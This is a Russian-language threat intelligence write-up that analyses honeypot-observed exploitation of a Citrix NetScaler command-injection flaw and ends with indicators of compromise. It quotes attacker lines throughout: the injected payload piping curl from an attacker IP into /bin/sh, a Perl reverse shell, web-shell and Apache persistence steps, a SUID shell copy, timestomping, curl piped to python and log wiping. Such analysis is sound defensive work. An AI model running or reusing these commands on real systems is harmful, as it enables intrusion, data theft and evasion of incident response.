Встречают по запросу, провожают по шеллу

Всем привет, на связи команда киберразведки Angara MTDR. Ежедневно мы изучаем активность атакующих и собираем множество индикаторов компрометации при помощи наших собственных систем. Одной из таких систем является сеть ханипотов. Сегодня мы рассмотрим один из самых свежих примеров - активность в рамках попыток эксплуатации уязвимости CVE-2026-88771.
Немного о CVE-2026-88771 (BDU:2026-15496)
Критическая уязвимость удалённого выполнения кода в Citrix NetScaler ADC и NetScaler Gateway, связанная с некорректной проверкой входных данных (CWE-20) и получившая оценку 9,5 по CVSS v4.0. Она позволяет удалённому не аутентифицированному злоумышленнику внедрять команды, которые записываются в журналы NetScaler, что в итоге даёт выполнение кода с правами root. Citrix раскрыла уязвимость 27 сентября 2026 года и подтвердила её эксплуатацию в реальных атаках, в тот же день CISA добавила её в каталог KEV, однако первые атаки на доступные из интернета шлюзы NetScaler фиксировались ещё 5 сентября - более чем за три недели до публичного раскрытия. На сегодняшний день попытки эксплуатации CVE-2026-88771 продолжаются, о чем говорит собираемая нами телеметрия с ханипотов.
Описание активности
Запросы к уязвимому сервису. Пример изначального события из логов ханипотов:
login=pitboss PPE unexpectedly died NSPPE NSPPE:/usr/bin/curl${IFS}hxxp://5.230.56[.]196:443/[REDACTED] |/bin/sh;# X&passwd=Wx!12345
1. Поддельное сообщение системного процесса
Запросы содержали шаблон сообщения, который используется в уязвимом механизме обработки журналов Citrix ADC (NetScaler):
pitboss PPE unexpectedly died NSPPE
Согласно исследованию CERT-EU, служебный скрипт ns_monuploadd_err.pl ищет сообщения о сбоях PPE в системных журналах, а затем использует извлечённую информацию. Недостаточная очистка данных позволяет внедрить команды. После выполнения команды производилась загрузка .sh скрипта с последующим запуском.
2. Загрузка и немедленное выполнение удалённого содержимого.
Если команда исполняется успешно, curl получает содержимое HTTP-ответа и передаёт его непосредственно оболочке /bin/sh
/usr/bin/curl ... | /bin/sh
Инсталляция и закрепление в системе
В рассматриваемом примере в результате выполнения команды загружался .sh скрипт, который обеспечивает функционал веб-шелла, создает reverse shell, загружает скрипт для сбора информации о хосте и зачищает следы активности.
1. Создание веб-шелла. Скрипт создает каталог и записывает PHP-код в файл:
/var/netscaler/logon/LogonPoint/media/icon.gif.receiver
Несмотря на название и расширение, файл содержит PHP-код. В коде предусмотрены две основные операции: - exec - выполнение команд ОС; - reverse - запуск процесса, который пытается установить обратное TCP-соединение и предоставить интерактивную оболочку.
2. Аутентификация запросов. В скрипте жестко задан секрет:
$SESSION_KEY = '[REDACTED]';
Затем проверяется значение Cookie session_id. После проверки параметр action определяет, какую операцию выполнить.
Cookie / параметр | Назначение |
session_id | Проверка встроенного секрета |
action=exec | Выбор режима выполнения команды |
cmd | Команда для исполнения |
action=reverse | Выбор режима обратного соединения |
ip, port | Адрес и порт для подключения |
3. Удалённое выполнение команд. Для режима exec скрипт получает значение cmd и выполняет его через:
$sh_cmd = '/bin/sh -c ' . escapeshellarg($cmd);
exec($sh_cmd, $stdout, $rc);
Функция escapeshellarg() обеспечивает экранирование аргумента для оболочки, но не делает безопасным выполнение произвольной команды. В данном случае это именно предусмотренная функциональность веб-шелла. Результат возвращается HTTP-клиенту в виде JSON с кодом завершения и стандартным выводом.
4. Запуск Reverse Shell. В режиме reverse скрипт получает IP-адрес и порт из Cookie, формирует Perl-код и запускает его в фоновом режиме. Ключевые операции:
connect(S, sockaddr_in($p, inet_aton($i)));
open(STDIN, ">&S");
open(STDOUT, ">&S");
open(STDERR, ">&S");
exec("/bin/sh", "-i");
Механизм предназначен для следующей последовательности:
Создать TCP-соединение с заданным адресом;
Перенаправить ввод, вывод и ошибки оболочки в сетевой сокет;
Запустить интерактивную оболочку /bin/sh -i. Команда запуска использует nohup, перенаправление потоков и фоновое выполнение. Скрипт возвращает PID запущенного процесса.
5. Изменение конфигурации Apache. Скрипт изменяет /etc/httpd.conf, добавляя обработчик PHP для icon.gif.receiver:
<Files "icon.gif.receiver">
SetHandler application/x-httpd-php
</Files>
Также добавляются правила Alias и AliasMatch, позволяющие обращаться к файлу через URL, в том числе URL, похожий на путь к CSS-ресурсу. Дополнительно выполняется замена:
perl -pi -e 's/php_flag engine off/php_flag engine on /' /etc/httpd.conf
Затем процессу, PID которого указан в /var/run/httpd.pid, отправляется сигнал:
kill -HUP cat /var/run/httpd.pid
Цель данных операций - изменить обработку HTTP-запросов и попытаться активировать подготовленный PHP-файл. При этом фактический эффект зависит от конфигурации, версии веб-сервера и способа обработки PHP. Отправка сигнала сама по себе не подтверждает успешную загрузку конфигурации.
6. Создание /bin/csh и изменение прав. Далее скрипт выполняет:
cp /bin/sh /bin/csh
chmod 6555 /bin/csh
В результате создаётся копия /bin/sh под именем /bin/csh, после чего устанавливаются SUID- и SGID-биты и права чтения/исполнения для всех категорий пользователей. Если файл принадлежит root, SUID-бит потенциально может повлиять на привилегии при запуске. Однако фактическое поведение зависит от реализации оболочки и условий выполнения.
7. Изменение временных меток. В скрипте несколько раз встречается следующая строка:
touch -r <исходный_файл> <целевой_файл>
В частности, временные метки /bin/sh копируются с других файлов, включая icon.gif.receiver, /etc/httpd.conf и /bin/csh.
8. Загрузка Python-скрипта для выполнения следующего этапа.
В конце выполняется команда вида:
/usr/bin/curl "hxxp://5.230.56[.]196:443/ns_collect/[REDACTED]" | /var/python/bin/python
Полученный ответ передаётся непосредственно интерпретатору Python через конвейер. Если сервер возвращает корректный исполняемый Python-код, интерпретатор попытается выполнить его.
9. Очистка журналов. Скрипт завершает работу командами:
echo > /var/log/ns.log
echo > /var/log/messages
При успешном выполнении они обнуляют содержимое соответствующих файлов, не удаляя сами файлы. Эти журналы могут содержать сведения о событиях NetScaler и системных сообщениях. Данный шаг направлен на затруднение анализа активности атакующих.
Анализ нагрузки следующего этапа – Python-скрипта. Загружаемый скрипт используется для сбора системной и сетевой конфигурационной информации Citrix ADC / NetScaler с последующей отправкой на сервер атакующих.
1. Функция run(cmd)
subprocess.run(
cmd,
shell=True,
capture_output=True,
text=True,
timeout=15
)
run(cmd) позволяет выполнять команды для сбора необходимых злоумышленнику данных о системе, сетевых настройках, процессах, дисках и других компонентов. Работает функция следующим образом: - переданная команда выполняется через системную оболочку благодаря shell=True; - capture_output=True перехватывает стандартный вывод и поток ошибок. - text=True обеспечивает возврат результатов в текстовом виде. - timeout=15 ограничивает время выполнения одной команды 15 секундами. - Согласно описанной реализации, функция возвращает stdout.
2. Функция read(path). Функция читает содержимое файла по указанному пути и нужна для получения информации из системных и конфигурационных файлов, в том числе /etc/resolv.conf и /etc/krb5.conf
3. Функция grep_conf() grep_conf() анализирует /nsconfig/ns.conf и извлекает строки, соответствующие заданным регулярным выражениям. Вместо безусловной передачи всего конфигурационного файла скрипт формирует выборку интересующих его параметров. В частности, согласно изученному нами коду, собираются настройки, связанные с: - сетевыми адресами и маршрутами; - VLAN, каналами и сетевой маршрутизацией; - DNS и NTP; - RNAT и PBR; - LDAP и AAA; - Kerberos и SAML; - VPN; - SSL и балансировкой нагрузки; - сервисами и серверными объектами.
4. Функция collect() – основная функция скрипта. Функция collect() собирает сведения о системе NetScaler: версию, сборку, модель, ОС, ядро, hostname, CPU, память и время работы устройства. Также собираются сетевые параметры, включая интерфейсы, маршруты, DNS, NTP, IP-адреса, VLAN и настройки маршрутизации. Скрипт извлекает конфигурацию служб аутентификации и интеграции (LDAP, AAA, Kerberos, SAML), VPN, SSL, балансировки нагрузки, сервисов и серверных объектов. Дополнительно собираются сведения о пользователях и группах ОС, лицензиях, SNMP, HA, кластере, запущенных процессах и использовании дискового пространства. Полученные данные формируются в структурированный отчёт JSON для последующей отправки на сервер атакующих. Пример части функции сбора данных: [[Pasted image 20261029130208.png]]
5. post(server, data) – отправка данных на сервер. Функция сериализует собранный словарь в JSON и отправляет его удалённому узлу POST запросом. Отдельно хотим обратить внимание на необычный User-Agent (ns-collect/1.0), который используется в запросе: [[Pasted image 20261029132436.png]]
Выводы
Анализ двух скриптов выявил признаки многоэтапной компрометации Citrix NetScaler, предположительно связанной с эксплуатацией CVE-2026-88771 - критической уязвимости, допускающей удалённое выполнение команд без аутентификации. Детектированная нами активность была направлена в адрес соответствующего сенсора сети ханипотов, что может говорить о таргетированной направленности.
Индикаторы компрометации
Адрес | Описание |
51.158.203[.]95 | IP-адрес, с которого выполнялись запросы к сенсорам ханипотов. Адрес принадлежит VPN и пригоден для ретроспективной (01.10.26 - 22.10.26) проверки, но не мониторинга |
5.230.56[.]196 | IP-адрес, с которого выполнялись запросы к сенсорам ханипотов. Данный адрес также используется для получения информации о скомпрометированной системе |
hxxps//f[.]pylrk[.]cc/ | Использовался злоумышленниками для доставки полезной нагрузки первого этапа |
Индикаторы атаки
Артефакт | Описание |
ns-collect/1.0 | Значение User-Agent, указываемое в заголовке при отправке данных на сервер атакующих |
/bin/csh | Наличие файла с правами 6555 |
/var/netscaler/logon/LogonPoint/media/icon.gif.receiver | Файл веб-шелла |
call=ns_ic_flush | Вызов NetScaler |
KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.